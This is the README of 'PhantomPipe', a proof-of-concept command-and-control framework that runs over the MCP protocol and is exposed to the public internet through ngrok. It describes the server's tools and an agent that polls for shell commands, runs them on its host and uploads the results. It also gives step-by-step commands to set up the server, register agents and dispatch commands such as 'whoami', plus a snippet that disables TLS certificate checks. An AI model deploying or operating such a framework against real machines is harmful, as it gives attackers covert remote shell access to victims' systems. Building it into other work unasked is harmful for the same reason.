Lightweight Command & Control over the MCP protocol, exposed via ngrok

A proof‑of‑concept C2 framework that uses Server‑Sent Events (SSE) and the MCP protocol for agent registration, command dispatch, and result collection. By tunneling through ngrok, you can quickly expose your C2 server to the public internet for rapid testing and demonstration.

• Architecture
• Detailed Diagram
• Diagram Explanation
• Prerequisites
• Installation
• ngrok Setup
• Usage
  • Start the Server
  • Run the Agent
  • Enqueue Commands (CLI)
  • Fetch History (CLI)
• Tool Definitions
• Configuration
• Contributing
• License

At a high level, MCP C2 comprises three components:

1. Server (server.py)

   • FastMCP application listening on port 8000
   • In-memory stores for agents, command queue, and results
   • Exposes MCP tools over SSE at /mcp

2. Agent (agent.py)

   • Connects via SSE, registers itself, polls for commands, executes them locally, and uploads results

3. CLI Client (client.py)

   • Enqueues commands for agents
   • Fetches full command/result history

All communication goes over the public SSE endpoint provided by ngrok.

flowchart TD
  %% ────────────────────── Local server ──────────────────────
  subgraph Local_Server["Local Server"]
    direction TB
    Srv["server.py<br/>FastMCP&nbsp;@&nbsp;port&nbsp;8000"]
    Stores["In‑memory&nbsp;Stores:<br/>•&nbsp;agents<br/>•&nbsp;command_queue<br/>•&nbsp;results"]
    Tools["Registered&nbsp;MCP&nbsp;Tools:<br/>•&nbsp;register_agent()<br/>•&nbsp;enqueue_command()<br/>•&nbsp;get_next_command()<br/>•&nbsp;upload_result()<br/>•&nbsp;get_results()"]
    Srv --> Stores
    Srv --> Tools
  end

  %% ────────────────────── ngrok tunnel ──────────────────────
  subgraph Ngrok_Tunnel["ngrok&nbsp;Tunnel"]
    NG["ngrok<br/>https\://YOUR_ID.ngrok.io&nbsp;↔&nbsp;localhost:8000"]
  end

  %% ────────────────────── public SSE endpoint ───────────────
  subgraph Public_SSE["Public&nbsp;SSE&nbsp;Endpoint"]
    Pub["/mcp&nbsp;on&nbsp;https\://YOUR_ID.ngrok.io"]
  end

  %% ────────────────────── agents (× N) ──────────────────────
  subgraph Agents["Agents&nbsp;(agent.py)&nbsp;×&nbsp;N"]
    direction TB
    A1["1\\.&nbsp;SSE&nbsp;connect&nbsp;→&nbsp;/mcp"]
    A2["2\\.&nbsp;JSON‑RPC&nbsp;→&nbsp;register_agent(id)"]
    A3["3\\.&nbsp;Loop:&nbsp;get_next_command()"]
    A4["4\\.&nbsp;Execute&nbsp;shell&nbsp;command"]
    A5["5\\.&nbsp;JSON‑RPC&nbsp;→&nbsp;upload_result()"]
    A1 --> A2 --> A3 --> A4 --> A5 --> A3
  end

  %% ────────────────────── CLI client ────────────────────────
  subgraph CLI["CLI&nbsp;Client&nbsp;(client.py)"]
    direction TB
    C1["Enqueue:<br/>JSON‑RPC&nbsp;→&nbsp;enqueue_command(agent_id,&nbsp;cmd,&nbsp;args)"]
    C2["Fetch:<br/>JSON‑RPC&nbsp;→&nbsp;get_results(agent_id)"]
  end

  %% ────────────────────── communication flows ───────────────
  Srv -- listens&nbsp;on&nbsp;port&nbsp;8000 --> Ngrok_Tunnel
  Ngrok_Tunnel -- forwards&nbsp;port --> Public_SSE
  Public_SSE -- SSE&nbsp;+&nbsp;RPC --> Agents
  Agents -- RPC --> Public_SSE
  Public_SSE -- RPC --> CLI
  CLI -- RPC --> Public_SSE

  %% ────────────────────── tool interactions ─────────────────
  Public_SSE -- register_agent --> Tools
  Tools -- store&nbsp;agent --> Stores

  Public_SSE -- enqueue_command --> Tools
  Tools -- append&nbsp;command --> Stores

  Public_SSE -- get_next_command --> Tools
  Tools -- read&nbsp;command --> Stores

  Public_SSE -- upload_result --> Tools
  Tools -- write&nbsp;result --> Stores

  Public_SSE -- get_results --> Tools
  Tools -- read&nbsp;results --> Stores

• Local Server
  • server.py runs a FastMCP app on port 8000.
  • In‑Memory Stores hold registered agents, pending commands, and uploaded results.
  • MCP Tools implement the core API:
  1. register_agent(agent_id)

2. enqueue_command(agent_id, command, args)
3. get_next_command(agent_id)
4. upload_result(agent_id, command_id, exit_code, output)
5. get_results(agent_id)

• ngrok Tunnel

  • Maps your local port 8000 to a public URL (https://<ID>.ngrok.io).
  • Can be auto‑launched by server.py or manually via:

    ngrok http 8000 --region=us

• Public SSE Endpoint

  • Clients connect to /mcp at the ngrok URL for SSE streams and JSON‑RPC tool calls.

• Agent (agent.py)

  1. Establishes SSE connection.
  2. Calls register_agent().
  3. Loops: fetches next command (get_next_command()), runs it locally, and uploads the output (upload_result()).

• CLI Client (client.py)

  • Uses the same SSE endpoint to dispatch (enqueue_command()) or retrieve (get_results()) work.

• Communication Arrows

  • Server → ngrok: local port 8000 is forwarded.
  • ngrok → Public: exposes it to the internet.
  • Public → Agent/CLI: SSE stream and RPC calls.
  • Agent/CLI → Public: RPC calls back to the server.

• Python 3.8+
• pip
• ngrok (installed and on your PATH)
• Python packages:

  pip install mcp pyngrok certifi

1. Clone the repository

   git clone https://github.com/mbhatt1/PhantomPipe.git
   cd PhantomPipe

2. Set up a virtual environment & install dependencies

   python3 -m venv venv
   source venv/bin/activate
   pip install --upgrade pip
   pip install mcp pyngrok certifi

1. Authenticate your ngrok account

   ngrok authtoken YOUR_NGROK_AUTH_TOKEN

2. Expose local port 8000
   The server.py script auto‑launches ngrok. To run manually:

   ngrok http 8000 --region=us

   Note the Forwarding URL (e.g. https://abcd1234.ngrok.io) and append /mcp for clients.

python server.py

• Binds FastMCP on port 8000.
• Launches ngrok and prints:

  [i] Starting ngrok tunnel on port 8000...
  [i] Public URL: https://<ID>.ngrok.io/mcp
  

python agent.py \
  --server-url https://<ID>.ngrok.io \
  --agent-id myagent

• Registers agent myagent.
• Polls for commands, executes them, and uploads results.

python client.py \
  --server-url https://<ID>.ngrok.io \
  --agent-id myagent \
  --command whoami \
  --args -a -b

• Dispatches whoami -a -b to myagent.

python client.py \
  --server-url https://<ID>.ngrok.io \
  --agent-id myagent \
  --history

• Retrieves and prints all past command results for myagent.

• SSL/TLS
  Uses certifi for CA bundle on macOS.
  To disable verification (self‑signed certs):

  import ssl
  ssl._create_default_https_context = ssl._create_unverified_context

• Agent ID
  Defaults to the machine’s hostname; override with --agent-id.
• Persistence
  In-memory only (proof‑of‑concept).

1. Fork the repository
2. Create a feature branch:

   git checkout -b feature/your-feature

3. Commit & push your changes:

   git push origin feature/your-feature

4. Open a Pull Request

This project is licensed under the MIT License. See LICENSE for details.

© 2025 Shrewd. Play nice; hack hard.